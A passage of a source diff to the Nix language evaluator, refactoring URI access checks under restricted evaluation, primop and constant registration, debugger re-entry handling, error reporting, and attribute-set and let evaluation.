Allow access to whole schemes + || isJustSchemePrefix(prefix) + ) + )) + return true; + } + + return false; +} void EvalState::checkURI(const std::string & uri) { - if (!evalSettings.restrictEval) return; + if (!settings.restrictEval) return; - /* 'uri' should be equal to a prefix, or in a subdirectory of a - prefix. Thus, the prefix https://github.co does not permit - access to https://github.com. Note: this allows 'http://' and - 'https://' as prefixes for any http/https URI. */ - for (auto & prefix : evalSettings.allowedUris.get()) - if (uri == prefix || - (uri.size() > prefix.size() - && prefix.size() > 0 - && hasPrefix(uri, prefix) - && (prefix[prefix.size() - 1] == '/' || uri[prefix.size()] == '/'))) - return; + if (isAllowedURI(uri, settings.allowedUris.get())) return; /* If the URI is a path, then check it against allowedPaths as well. */ if (hasPrefix(uri, "/")) { - checkSourcePath(uri); + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + rootFS2->checkAccess(CanonPath(uri)); return; } if (hasPrefix(uri, "file://")) { - checkSourcePath(std::string(uri, 7)); + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + rootFS2->checkAccess(CanonPath(uri.substr(7))); return; } @@ -618,7 +444,7 @@ void EvalState::checkURI(const std::string & uri) } -Path EvalState::toRealPath(const Path & path, const PathSet & context) +Path EvalState::toRealPath(const Path & path, const NixStringContext & context) { // FIXME: check whether 'path' is in 'context'. return @@ -628,46 +454,69 @@ Path EvalState::toRealPath(const Path & path, const PathSet & context) } -Value * EvalState::addConstant(const std::string & name, Value & v) +Value * EvalState::addConstant(const std::string & name, Value & v, Constant info) { Value * v2 = allocValue(); *v2 = v; - addConstant(name, v2); + addConstant(name, v2, info); return v2; } -void EvalState::addConstant(const std::string & name, Value * v) +void EvalState::addConstant(const std::string & name, Value * v, Constant info) { - staticBaseEnv->vars.emplace_back(symbols.create(name), baseEnvDispl); - baseEnv.values[baseEnvDispl++] = v; auto name2 = name.substr(0, 2) == "__" ? name.substr(2) : name; - baseEnv.values[0]->attrs->push_back(Attr(symbols.create(name2), v)); + + constantInfos.push_back({name2, info}); + + if (!(settings.pureEval && info.impureOnly)) { + /* Check the type, if possible. + + We might know the type of a thunk in advance, so be allowed + to just write it down in that case. */ + if (auto gotType = v->type(true); gotType != nThunk) + assert(info.type == gotType); + + /* Install value the base environment. */ + staticBaseEnv->vars.emplace_back(symbols.create(name), baseEnvDispl); + baseEnv.values[baseEnvDispl++] = v; + baseEnv.values[0]->payload.attrs->push_back(Attr(symbols.create(name2), v)); + } } -Value * EvalState::addPrimOp(const std::string & name, - size_t arity, PrimOpFun primOp) +void PrimOp::check() { - auto name2 = name.substr(0, 2) == "__" ? name.substr(2) : name; - auto sym = symbols.create(name2); + if (arity > maxPrimOpArity) { + throw Error("primop arity must not exceed %1%", maxPrimOpArity); + } +} - /* Hack to make constants lazy: turn them into a application of - the primop to a dummy value. */ - if (arity == 0) { - auto vPrimOp = allocValue(); - vPrimOp->mkPrimOp(new PrimOp { .fun = primOp, .arity = 1, .name = name2 }); - Value v; - v.mkApp(vPrimOp, vPrimOp); - return addConstant(name, v); + +std::ostream & operator<<(std::ostream & output, const PrimOp & primOp) +{ + output << "primop " << primOp.name; + return output; +} + + +const PrimOp * Value::primOpAppPrimOp() const +{ + Value * left = payload.primOpApp.left; + while (left && !left->isPrimOp()) { + left = left->payload.primOpApp.left; } - Value * v = allocValue(); - v->mkPrimOp(new PrimOp { .fun = primOp, .arity = arity, .name = name2 }); - staticBaseEnv->vars.emplace_back(symbols.create(name), baseEnvDispl); - baseEnv.values[baseEnvDispl++] = v; - baseEnv.values[0]->attrs->push_back(Attr(sym, v)); - return v; + if (!left) + return nullptr; + return left->primOp(); +} + + +void Value::mkPrimOp(PrimOp * p) +{ + p->check(); + finishValue(tPrimOp, { .primOp = p }); } @@ -681,7 +530,10 @@ Value * EvalState::addPrimOp(PrimOp && primOp) vPrimOp->mkPrimOp(new PrimOp(primOp)); Value v; v.mkApp(vPrimOp, vPrimOp); - return addConstant(primOp.name, v); + return addConstant(primOp.name, v, { + .type = nThunk, // FIXME + .doc = primOp.doc, + }); } auto envName = symbols.create(primOp.name); @@ -692,14 +544,14 @@ Value * EvalState::addPrimOp(PrimOp && primOp) v->mkPrimOp(new PrimOp(primOp)); staticBaseEnv->vars.emplace_back(envName, baseEnvDispl); baseEnv.values[baseEnvDispl++] = v; - baseEnv.values[0]->attrs->push_back(Attr(symbols.create(primOp.name), v)); + baseEnv.values[0]->payload.attrs->push_back(Attr(symbols.create(primOp.name), v)); return v; } Value & EvalState::getBuiltin(const std::string & name) { - return *baseEnv.values[0]->attrs->find(symbols.create(name))->value; + return *baseEnv.values[0]->attrs()->find(symbols.create(name))->value; } @@ -707,15 +559,63 @@ std::optional EvalState::getDoc(Value & v) { if (v.isPrimOp()) { auto v2 = &v; - if (v2->primOp->doc) + if (auto * doc = v2->primOp()->doc) return Doc { .pos = {}, - .name = v2->primOp->name, - .arity = v2->primOp->arity, - .args = v2->primOp->args, - .doc = v2->primOp->doc, + .name = v2->primOp()->name, + .arity = v2->primOp()->arity, + .args = v2->primOp()->args, + .doc = doc, }; } + if (v.isLambda()) { + auto exprLambda = v.payload.lambda.fun; + + std::stringstream s(std::ios_base::out); + std::string name; + auto pos = positions[exprLambda->getPos()]; + std::string docStr; + + if (exprLambda->name) { + name = symbols[exprLambda->name]; + } + + if (exprLambda->docComment) { + docStr = exprLambda->docComment.getInnerText(positions); + } + + if (name.empty()) { + s << "Function "; + } + else { + s << "Function `" << name << "`"; + if (pos) + s << "\\\n … " ; + else + s << "\\\n"; + } + if (pos) { + s << "defined at " << pos; + } + if (!docStr.empty()) { + s << "\n\n"; + } + + s << docStr; + + s << '\0'; // for making a c string below + std::string ss = s.str(); + + return Doc { + .pos = pos, + .name = name, + .arity = 0, // FIXME: figure out how deep by syntax only? It's not semantically useful though... + .args = {}, + .doc = + // FIXME: this leaks; make the field std::string? + strdup(ss.data()), + }; + } return {}; } @@ -733,11 +633,11 @@ void printStaticEnvBindings(const SymbolTable & st, const StaticEnv & se) // just for the current level of Env, not the whole chain. void printWithBindings(const SymbolTable & st, const Env & env) { - if (env.type == Env::HasWithAttrs) { + if (!env.values[0]->isThunk()) { std::cout << "with: "; std::cout << ANSI_MAGENTA; - Bindings::iterator j = env.values[0]->attrs->begin(); - while (j != env.values[0]->attrs->end()) { + auto j = env.values[0]->attrs()->begin(); + while (j != env.values[0]->attrs()->end()) { std::cout << st[j->name] << " "; ++j; } @@ -753,7 +653,8 @@ void printEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & if (se.up && env.up) { std::cout << "static: "; printStaticEnvBindings(st, se); - printWithBindings(st, env); + if (se.isWith) + printWithBindings(st, env); std::cout << std::endl; printEnvBindings(st, *se.up, *env.up, ++lvl); } else { @@ -765,7 +666,8 @@ void printEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & std::cout << st[i.first] << " "; std::cout << ANSI_NORMAL; std::cout << std::endl; - printWithBindings(st, env); // probably nothing there for the top level. + if (se.isWith) + printWithBindings(st, env); // probably nothing there for the top level. std::cout << std::endl; } @@ -787,17 +689,14 @@ void mapStaticEnvBindings(const SymbolTable & st, const StaticEnv & se, const En if (env.up && se.up) { mapStaticEnvBindings(st, *se.up, *env.up, vm); - if (env.type == Env::HasWithAttrs) { + if (se.isWith && !env.values[0]->isThunk()) { // add 'with' bindings. - Bindings::iterator j = env.values[0]->attrs->begin(); - while (j != env.values[0]->attrs->end()) { - vm[st[j->name]] = j->value; - ++j; - } + for (auto & j : *env.values[0]->attrs()) + vm.insert_or_assign(std::string(st[j.name]), j.value); } else { // iterate through staticenv bindings and add them. for (auto & i : se.vars) - vm[st[i.first]] = env.values[i.second]; + vm.insert_or_assign(std::string(st[i.first]), env.values[i.second]); } } } @@ -809,10 +708,42 @@ std::unique_ptr mapStaticEnvBindings(const SymbolTable & st, const Stati return vm; } +/** + * Sets `inDebugger` to true on construction and false on destruction. + */ +class DebuggerGuard { + bool & inDebugger; +public: + DebuggerGuard(bool & inDebugger) : inDebugger(inDebugger) { + inDebugger = true; + } + ~DebuggerGuard() { + inDebugger = false; + } +}; + +bool EvalState::canDebug() +{ + return debugRepl && !debugTraces.empty(); +} + +void EvalState::runDebugRepl(const Error * error) +{ + if (!canDebug()) + return; + + assert(!debugTraces.empty()); + const DebugTrace & last = debugTraces.front(); + const Env & env = last.env; + const Expr & expr = last.expr; + + runDebugRepl(error, env, expr); +} + void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & expr) { - // double check we've got the debugRepl function pointer. - if (!debugRepl) + // Make sure we have a debugger to run and we're not already in a debugger. + if (!debugRepl || inDebugger) return; auto dts = @@ -820,7 +751,7 @@ void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & ? std::make_unique( *this, DebugTrace { - .pos = error->info().errPos ? error->info().errPos : static_cast>(positions[expr.getPos()]), + .pos = error->info().pos ? error->info().pos : positions[expr.getPos()], .expr = expr, .env = env, .hint = error->info().msg, @@ -830,207 +761,56 @@ void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & if (error) { - printError("%s\n\n", error->what()); + printError("%s\n", error->what()); if (trylevel > 0 && error->info().level != lvlInfo) printError("This exception occurred in a 'tryEval' call. Use " ANSI_GREEN "--ignore-try" ANSI_NORMAL " to skip these.\n"); - - printError(ANSI_BOLD "Starting REPL to allow you to inspect the current state of the evaluator.\n" ANSI_NORMAL); } auto se = getStaticEnv(expr); if (se) { auto vm = mapStaticEnvBindings(symbols, *se.get(), env); - (debugRepl)(ref(shared_from_this()), *vm); + DebuggerGuard _guard(inDebugger); + auto exitStatus = (debugRepl)(ref(shared_from_this()), *vm); + switch (exitStatus) { + case ReplExitStatus::QuitAll: + if (error) + throw *error; + throw Exit(0); + case ReplExitStatus::Continue: + break; + default: + unreachable(); + } } } -/* Every "format" object (even temporary) takes up a few hundred bytes - of stack space, which is a real killer in the recursive - evaluator. So here are some helper functions for throwing - exceptions. */ -void EvalState::throwEvalError(const PosIdx pos, const char * s, Env & env, Expr & expr) +template +void EvalState::addErrorTrace(Error & e, const Args & ... formatArgs) const { - debugThrow(EvalError({ - .msg = hintfmt(s), - .errPos = positions[pos] - }), env, expr); + e.addTrace(nullptr, HintFmt(formatArgs...)); } -void EvalState::throwEvalError(const PosIdx pos, const char * s) +template +void EvalState::addErrorTrace(Error & e, const PosIdx pos, const Args & ... formatArgs) const { - debugThrowLastTrace(EvalError({ - .msg = hintfmt(s), - .errPos = positions[pos] - })); -} - -void EvalState::throwEvalError(const char * s, const std::string & s2) -{ - debugThrowLastTrace(EvalError(s, s2)); -} - -void EvalState::throwEvalError(const PosIdx pos, const Suggestions & suggestions, const char * s, - const std::string & s2, Env & env, Expr & expr) -{ - debugThrow(EvalError(ErrorInfo{ - .msg = hintfmt(s, s2), - .errPos = positions[pos], - .suggestions = suggestions, - }), env, expr); -} - -void EvalState::throwEvalError(const PosIdx pos, const char * s, const std::string & s2) -{ - debugThrowLastTrace(EvalError({ - .msg = hintfmt(s, s2), - .errPos = positions[pos] - })); -} - -void EvalState::throwEvalError(const PosIdx pos, const char * s, const std::string & s2, Env & env, Expr & expr) -{ - debugThrow(EvalError({ - .msg = hintfmt(s, s2), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::throwEvalError(const char * s, const std::string & s2, - const std::string & s3) -{ - debugThrowLastTrace(EvalError({ - .msg = hintfmt(s, s2, s3), - .errPos = positions[noPos] - })); -} - -void EvalState::throwEvalError(const PosIdx pos, const char * s, const std::string & s2, - const std::string & s3) -{ - debugThrowLastTrace(EvalError({ - .msg = hintfmt(s, s2, s3), - .errPos = positions[pos] - })); -} - -void EvalState::throwEvalError(const PosIdx pos, const char * s, const std::string & s2, - const std::string & s3, Env & env, Expr & expr) -{ - debugThrow(EvalError({ - .msg = hintfmt(s, s2, s3), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::throwEvalError(const PosIdx p1, const char * s, const Symbol sym, const PosIdx p2, Env & env, Expr & expr) -{ - // p1 is where the error occurred; p2 is a position mentioned in the message. - debugThrow(EvalError({ - .msg = hintfmt(s, symbols[sym], positions[p2]), - .errPos = positions[p1] - }), env, expr); -} - -void EvalState::throwTypeError(const PosIdx pos, const char * s, const Value & v) -{ - debugThrowLastTrace(TypeError({ - .msg = hintfmt(s, showType(v)), - .errPos = positions[pos] - })); -} - -void EvalState::throwTypeError(const PosIdx pos, const char * s, const Value & v, Env & env, Expr & expr) -{ - debugThrow(TypeError({ - .msg = hintfmt(s, showType(v)), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::throwTypeError(const PosIdx pos, const char * s) -{ - debugThrowLastTrace(TypeError({ - .msg = hintfmt(s), - .errPos = positions[pos] - })); -} - -void EvalState::throwTypeError(const PosIdx pos, const char * s, const ExprLambda & fun, - const Symbol s2, Env & env, Expr &expr) -{ - debugThrow(TypeError({ - .msg = hintfmt(s, fun.showNamePos(*this), symbols[s2]), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::throwTypeError(const PosIdx pos, const Suggestions & suggestions, const char * s, - const ExprLambda & fun, const Symbol s2, Env & env, Expr &expr) -{ - debugThrow(TypeError(ErrorInfo { - .msg = hintfmt(s, fun.showNamePos(*this), symbols[s2]), - .errPos = positions[pos], - .suggestions = suggestions, - }), env, expr); -} - -void EvalState::throwTypeError(const char * s, const Value & v, Env & env, Expr &expr) -{ - debugThrow(TypeError({ - .msg = hintfmt(s, showType(v)), - .errPos = positions[expr.getPos()], - }), env, expr); -} - -void EvalState::throwAssertionError(const PosIdx pos, const char * s, const std::string & s1, Env & env, Expr &expr) -{ - debugThrow(AssertionError({ - .msg = hintfmt(s, s1), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::throwUndefinedVarError(const PosIdx pos, const char * s, const std::string & s1, Env & env, Expr &expr) -{ - debugThrow(UndefinedVarError({ - .msg = hintfmt(s, s1), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::throwMissingArgumentError(const PosIdx pos, const char * s, const std::string & s1, Env & env, Expr &expr) -{ - debugThrow(MissingArgumentError({ - .msg = hintfmt(s, s1), - .errPos = positions[pos] - }), env, expr); -} - -void EvalState::addErrorTrace(Error & e, const char * s, const std::string & s2) const -{ - e.addTrace(nullptr, s, s2); -} - -void EvalState::addErrorTrace(Error & e, const PosIdx pos, const char * s, const std::string & s2) const -{ - e.addTrace(positions[pos], s, s2); + e.addTrace(positions[pos], HintFmt(formatArgs...)); } +template static std::unique_ptr makeDebugTraceStacker( EvalState & state, Expr & expr, Env & env, - std::shared_ptr && pos, - const char * s, - const std::string & s2) + std::shared_ptr && pos, + const Args & ... formatArgs) { return std::make_unique(state, DebugTrace { .pos = std::move(pos), .expr = expr, .env = env, - .hint = hintfmt(s, s2), + .hint = HintFmt(formatArgs...), .isError = false }); } @@ -1050,34 +830,33 @@ void Value::mkString(std::string_view s) } -static void copyContextToValue(Value & v, const PathSet & context) +static const char * * encodeContext(const NixStringContext & context) { if (!context.empty()) { size_t n = 0; - v.string.context = (const char * *) + auto ctx = (const char * *) allocBytes((context.size() + 1) * sizeof(char *)); for (auto & i : context) - v.string.context[n++] = dupString(i.c_str()); - v.string.context[n] = 0; - } + ctx[n++] = dupString(i.to_string().c_str()); + ctx[n] = 0; + return ctx; + } else + return nullptr; } -void Value::mkString(std::string_view s, const PathSet & context) +void Value::mkString(std::string_view s, const NixStringContext & context) { - mkString(s); - copyContextToValue(*this, context); + mkString(makeImmutableString(s), encodeContext(context)); } -void Value::mkStringMove(const char * s, const PathSet & context) +void Value::mkStringMove(const char * s, const NixStringContext & context) { - mkString(s); - copyContextToValue(*this, context); + mkString(s, encodeContext(context)); } - -void Value::mkPath(std::string_view s) +void Value::mkPath(const SourcePath & path) { - mkPath(makeImmutableString(s)); + mkPath(&*path.accessor, makeImmutableString(path.path.abs())); } @@ -1087,33 +866,35 @@ inline Value * EvalState::lookupVar(Env * env, const ExprVar & var, bool noEval) if (!var.fromWith) return env->values[var.displ]; + // This early exit defeats the `maybeThunk` optimization for variables from `with`, + // The added complexity of handling this appears to be similarly in cost, or + // the cases where applicable were insignificant in the first place. + if (noEval) return nullptr; + + auto * fromWith = var.fromWith; while (1) { - if (env->type == Env::HasWithExpr) { - if (noEval) return 0; - Value * v = allocValue(); - evalAttrs(*env->up, (Expr *) env->values[0], *v); - env->values[0] = v; - env->type = Env::HasWithAttrs; - } - Bindings::iterator j = env->values[0]->attrs->find(var.name); - if (j != env->values[0]->attrs->end()) { + forceAttrs(*env->values[0], fromWith->pos, "while evaluating the first subexpression of a with expression"); + if (auto j = env->values[0]->attrs()->get(var.name)) { if (countCalls) attrSelects[j->pos]++; return j->value; } - if (!env->prevWith) - throwUndefinedVarError(var.pos, "undefined variable '%1%'", symbols[var.name], *env, const_cast(var)); - for (size_t l = env->prevWith; l; --l, env = env->up) ; + if (!fromWith->parentWith) + error("undefined variable '%1%'", symbols[var.name]).atPos(var.pos).withFrame(*env, var).debugThrow(); + for (size_t l = fromWith->prevWith; l; --l, env = env->up) ; + fromWith = fromWith->parentWith; } } -void EvalState::mkList(Value & v, size_t size) +ListBuilder::ListBuilder(EvalState & state, size_t size) + : size(size) + , elems(size <= 2 ? inlineElems : (Value * *) allocBytes(size * sizeof(Value *))) { - v.mkList(size); - if (size > 2) - v.bigList.elems = (Value * *) allocBytes(size * sizeof(Value *)); - nrListElems += size; + state.nrListElems += size; } +Value * EvalState::getBool(bool b) { + return b ? &vTrue : &vFalse; +} unsigned long nrThunks = 0; @@ -1132,18 +913,92 @@ void EvalState::mkThunk_(Value & v, Expr * expr) void EvalState::mkPos(Value & v, PosIdx p) { - auto pos = positions[p]; - if (auto path = std::get_if(&pos.origin)) { + auto origin = positions.originOf(p); + if (auto path = std::get_if(&origin)) { auto attrs = buildBindings(3); - attrs.alloc(sFile).mkString(*path); - attrs.alloc(sLine).mkInt(pos.line); - attrs.alloc(sColumn).mkInt(pos.column); + attrs.alloc(sFile).mkString(path->path.abs()); + makePositionThunks(*this, p, attrs.alloc(sLine), attrs.alloc(sColumn)); v.mkAttrs(attrs); } else v.mkNull(); } +void EvalState::mkStorePathString(const StorePath & p, Value & v) +{ + v.mkString( + store->printStorePath(p), + NixStringContext { + NixStringContextElem::Opaque { .path = p }, + }); +} + + +std::string EvalState::mkOutputStringRaw( + const SingleDerivedPath::Built & b, + std::optional optStaticOutputPath, + const ExperimentalFeatureSettings & xpSettings) +{ + /* In practice, this is testing for the case of CA derivations, or + dynamic derivations. */ + return optStaticOutputPath + ? store->printStorePath(std::move(*optStaticOutputPath)) + /* Downstream we would substitute this for an actual path once + we build the floating CA derivation */ + : DownstreamPlaceholder::fromSingleDerivedPathBuilt(b, xpSettings).render(); +} + + +void EvalState::mkOutputString( + Value & value, + const SingleDerivedPath::Built & b, + std::optional optStaticOutputPath, + const ExperimentalFeatureSettings & xpSettings) +{ + value.mkString( + mkOutputStringRaw(b, optStaticOutputPath, xpSettings), + NixStringContext { b }); +} + + +std::string EvalState::mkSingleDerivedPathStringRaw( + const SingleDerivedPath & p) +{ + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & o) { + return store->printStorePath(o.path); + }, + [&](const SingleDerivedPath::Built & b) { + auto optStaticOutputPath = std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & o) { + auto drv = store->readDerivation(o.path); + auto i = drv.outputs.find(b.output); + if (i == drv.outputs.end()) + throw Error("derivation '%s' does not have output '%s'", b.drvPath->to_string(*store), b.output); + return i->second.path(*store, drv.name, b.output); + }, + [&](const SingleDerivedPath::Built & o) -> std::optional { + return std::nullopt; + }, + }, b.drvPath->raw()); + return mkOutputStringRaw(b, optStaticOutputPath); + } + }, p.raw()); +} + + +void EvalState::mkSingleDerivedPathString( + const SingleDerivedPath & p, + Value & v) +{ + v.mkString( + mkSingleDerivedPathStringRaw(p), + NixStringContext { + std::visit([](auto && v) -> NixStringContextElem { return v; }, p), + }); +} + + /* Create a thunk for the delayed computation of the given expression in the given environment. But if the expression is a variable, then look it up right away. This significantly reduces the number @@ -1191,17 +1046,15 @@ Value * ExprPath::maybeThunk(EvalState & state, Env & env) } -void EvalState::evalFile(const Path & path_, Value & v, bool mustBeTrivial) +void EvalState::evalFile(const SourcePath & path, Value & v, bool mustBeTrivial) { - auto path = checkSourcePath(path_); - FileEvalCache::iterator i; if ((i = fileEvalCache.find(path)) != fileEvalCache.end()) { v = i->second; return; } - Path resolvedPath = resolveExprPath(path); + auto resolvedPath = resolveExprPath(path); if ((i = fileEvalCache.find(resolvedPath)) != fileEvalCache.end()) { v = i->second; return; @@ -1215,9 +1068,33 @@ void EvalState::evalFile(const Path & path_, Value & v, bool mustBeTrivial) e = j->second; if (!e) - e = parseExprFromFile(checkSourcePath(resolvedPath)); + e = parseExprFromFile(resolvedPath); - cacheFile(path, resolvedPath, e, v, mustBeTrivial); + fileParseCache.emplace(resolvedPath, e); + + try { + auto dts = debugRepl + ? makeDebugTraceStacker( + *this, + *e, + this->baseEnv, + e->getPos() ? std::make_shared(positions[e->getPos()]) : nullptr, + "while evaluating the file '%1%':", resolvedPath.to_string()) + : nullptr; + + // Enforce that 'flake.nix' is a direct attrset, not a + // computation. + if (mustBeTrivial && + !(dynamic_cast(e))) + error("file '%s' must be an attribute set", path).debugThrow(); + eval(e, v); + } catch (Error & e) { + addErrorTrace(e, "while evaluating the file '%1%':", resolvedPath.to_string()); + throw; + } + + fileEvalCache.emplace(resolvedPath, v); + if (path != resolvedPath) fileEvalCache.emplace(path, v); } @@ -1228,78 +1105,51 @@ void EvalState::resetFileCache() } -void EvalState::cacheFile( - const Path & path, - const Path & resolvedPath, - Expr * e, - Value & v, - bool mustBeTrivial) -{ - fileParseCache[resolvedPath] = e; - - try { - auto dts = debugRepl - ? makeDebugTraceStacker( - *this, - *e, - this->baseEnv, - e->getPos() ? static_cast>(positions[e->getPos()]) : nullptr, - "while evaluating the file '%1%':", resolvedPath) - : nullptr; - - // Enforce that 'flake.nix' is a direct attrset, not a - // computation. - if (mustBeTrivial && - !(dynamic_cast(e))) - throw EvalError("file '%s' must be an attribute set", path); - eval(e, v); - } catch (Error & e) { - addErrorTrace(e, "while evaluating the file '%1%':", resolvedPath); - throw; - } - - fileEvalCache[resolvedPath] = v; - if (path != resolvedPath) fileEvalCache[path] = v; -} - - void EvalState::eval(Expr * e, Value & v) { e->eval(*this, baseEnv, v); } -inline bool EvalState::evalBool(Env & env, Expr * e) +inline bool EvalState::evalBool(Env & env, Expr * e, const PosIdx pos, std::string_view errorCtx) { - Value v; - e->eval(*this, env, v); - if (v.type() != nBool) - throwTypeError(noPos, "value is %1% while a Boolean was expected", v, env, *e); - return v.boolean; + try { + Value v; + e->eval(*this, env, v); + if (v.type() != nBool) + error( + "expected a Boolean but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).atPos(pos).withFrame(env, *e).debugThrow(); + return v.boolean(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } } -inline bool EvalState::evalBool(Env & env, Expr * e, const PosIdx pos) +inline void EvalState::evalAttrs(Env & env, Expr * e, Value & v, const PosIdx pos, std::string_view errorCtx) { - Value v; - e->eval(*this, env, v); - if (v.type() != nBool) - throwTypeError(pos, "value is %1% while a Boolean was expected", v, env, *e); - return v.boolean; -} - - -inline void EvalState::evalAttrs(Env & env, Expr * e, Value & v) -{ - e->eval(*this, env, v); - if (v.type() != nAttrs) - throwTypeError(noPos, "value is %1% while a set was expected", v, env, *e); + try { + e->eval(*this, env, v); + if (v.type() != nAttrs) + error( + "expected a set but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).withFrame(env, *e).debugThrow(); + } catch (Error & e) { + e.addTrace(positions[pos], errorCtx); + throw; + } } void Expr::eval(EvalState & state, Env & env, Value & v) { - abort(); + unreachable(); } @@ -1326,10 +1176,23 @@ void ExprPath::eval(EvalState & state, Env & env, Value & v) } +Env * ExprAttrs::buildInheritFromEnv(EvalState & state, Env & up) +{ + Env & inheritEnv = state.allocEnv(inheritFromExprs->size()); + inheritEnv.up = &up; + + Displacement displ = 0; + for (auto from : *inheritFromExprs) + inheritEnv.values[displ++] = from->maybeThunk(state, up); + + return &inheritEnv; +} + void ExprAttrs::eval(EvalState & state, Env & env, Value & v) { - v.mkAttrs(state.buildBindings(attrs.size() + dynamicAttrs.size()).finish()); + auto bindings = state.buildBindings(attrs.size() + dynamicAttrs.size()); auto dynamicEnv = &env; + bool sort = false; if (recursive) { /* Create a new environment that contains the attributes in @@ -1337,6 +1200,7 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) Env & env2(state.allocEnv(attrs.size())); env2.up = &env; dynamicEnv = &env2; + Env * inheritEnv = inheritFromExprs ? buildInheritFromEnv(state, env2) : nullptr; AttrDefs::iterator overrides = attrs.find(state.sOverrides); bool hasOverrides = overrides != attrs.end(); @@ -1347,13 +1211,13 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) Displacement displ = 0; for (auto & i : attrs) { Value * vAttr; - if (hasOverrides && !i.second.inherited) { + if (hasOverrides && i.second.kind != AttrDef::Kind::Inherited) { vAttr = state.allocValue(); - mkThunk(*vAttr, env2, i.second.e); + mkThunk(*vAttr, *i.second.chooseByKind(&env2, &env, inheritEnv), i.second.e); } else - vAttr = i.second.e->maybeThunk(state, i.second.inherited ? env : env2); + vAttr = i.second.e->maybeThunk(state, *i.second.chooseByKind(&env2, &env, inheritEnv)); env2.values[displ++] = vAttr; - v.attrs->push_back(Attr(i.first, vAttr, i.second.pos)); + bindings.insert(i.first, vAttr, i.second.pos); } /* If the rec contains an attribute called `__overrides', then @@ -1365,27 +1229,29 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) been substituted into the bodies of the other attributes. Hence we need __overrides.) */ if (hasOverrides) { - Value * vOverrides = (*v.attrs)[overrides->second.displ].value; - state.forceAttrs(*vOverrides, [&]() { return vOverrides->determinePos(noPos); }); - Bindings * newBnds = state.allocBindings(v.attrs->capacity() + vOverrides->attrs->size()); - for (auto & i : *v.attrs) - newBnds->push_back(i); - for (auto & i : *vOverrides->attrs) { + Value * vOverrides = (*bindings.bindings)[overrides->second.displ].value; + state.forceAttrs(*vOverrides, [&]() { return vOverrides->determinePos(noPos); }, "while evaluating the `__overrides` attribute"); + bindings.grow(state.allocBindings(bindings.capacity() + vOverrides->attrs()->size())); + for (auto & i : *vOverrides->attrs()) { AttrDefs::iterator j = attrs.find(i.name); if (j != attrs.end()) { - (*newBnds)[j->second.displ] = i; + (*bindings.bindings)[j->second.displ] = i; env2.values[j->second.displ] = i.value; } else - newBnds->push_back(i); + bindings.push_back(i); } - newBnds->sort(); - v.attrs = newBnds; + sort = true; } } - else + else { + Env * inheritEnv = inheritFromExprs ? buildInheritFromEnv(state, env) : nullptr; for (auto & i : attrs) - v.attrs->push_back(Attr(i.first, i.second.e->maybeThunk(state, env), i.second.pos)); + bindings.insert( + i.first, + i.second.e->maybeThunk(state, *i.second.chooseByKind(&env, &env, inheritEnv)), + i.second.pos); + } /* Dynamic attrs apply *after* rec and __overrides. */ for (auto & i : dynamicAttrs) { @@ -1394,19 +1260,23 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) state.forceValue(nameVal, i.pos); if (nameVal.type() == nNull) continue; - state.forceStringNoCtx(nameVal); - auto nameSym = state.symbols.create(nameVal.string.s); - Bindings::iterator j = v.attrs->find(nameSym); - if (j != v.attrs->end()) - state.throwEvalError(i.pos, "dynamic attribute '%1%' already defined at %2%", nameSym, j->pos, env, *this); + state.forceStringNoCtx(nameVal, i.pos, "while evaluating the name of a dynamic attribute"); + auto nameSym = state.symbols.create(nameVal.string_view()); + if (sort) + // FIXME: inefficient + bindings.bindings->sort(); + if (auto j = bindings.bindings->get(nameSym)) + state.error("dynamic attribute '%1%' already defined at %2%", state.symbols[nameSym], state.positions[j->pos]).atPos(i.pos).withFrame(env, *this).debugThrow(); i.valueExpr->setName(nameSym); /* Keep sorted order so find can catch duplicates */ - v.attrs->push_back(Attr(nameSym, i.valueExpr->maybeThunk(state, *dynamicEnv), i.pos)); - v.attrs->sort(); // FIXME: inefficient + bindings.insert(nameSym, i.valueExpr->maybeThunk(state, *dynamicEnv), i.pos); + sort = true; } - v.attrs->pos = pos; + bindings.bindings->pos = pos; + + v.mkAttrs(sort ? bindings.finish() : bindings.alreadySorted()); } @@ -1417,12 +1287,30 @@ void ExprLet::eval(EvalState & state, Env & env, Value & v) Env & env2(state.allocEnv(attrs->attrs.size())); env2.up = &env; + Env * inheritEnv = attrs->inheritFromExprs ? attrs->buildInheritFromEnv(state, env2) : nullptr; + /* The recursive attributes are evaluated in the new environment, while the inherited attributes are evaluated in the original environment. */ Displacement displ = 0; - for (auto & i : attrs->attrs) - env2.values[displ++] = i.second.e->maybeThunk(state, i.second.inherited ? env : env2); + for (auto & i : attrs->attrs) { + env2.values[displ++] = i.second.e->maybeThunk( + state, + *i.second.chooseByKind(&env2, &env, inheritEnv)); + } + + auto dts = state.debugRepl + ? makeDebugTraceStacker( + state, + *this, + env2, + getPos() + ? std::make_shared(state.positions[getPos()]) + : nullptr, + "while evaluating a '%1%' expression", + "let" + ) + : nullptr; body->eval(state, env2, v); } @@ -1430,9 +1318,19 @@ void ExprLet::eval(EvalState & state, Env & env, Value & v) void ExprList::eval(EvalState & state, Env & env, Value & v) { - state.mkList(v, elems.size()); - for (auto [n, v2] : enumerate(v.listItems())) - const_cast(v2) = elems[n]->maybeThunk(state, env); + auto list = state.buildList(elems.size()); + for (const auto & [n, v2] : enumerate(list)) + v2 = elems[n]->maybeThunk(state, env); + v.mkList(list); +} + + +Value * ExprList::maybeThunk(EvalState & state, Env & env) +{ + if (elems.empty()) { + return 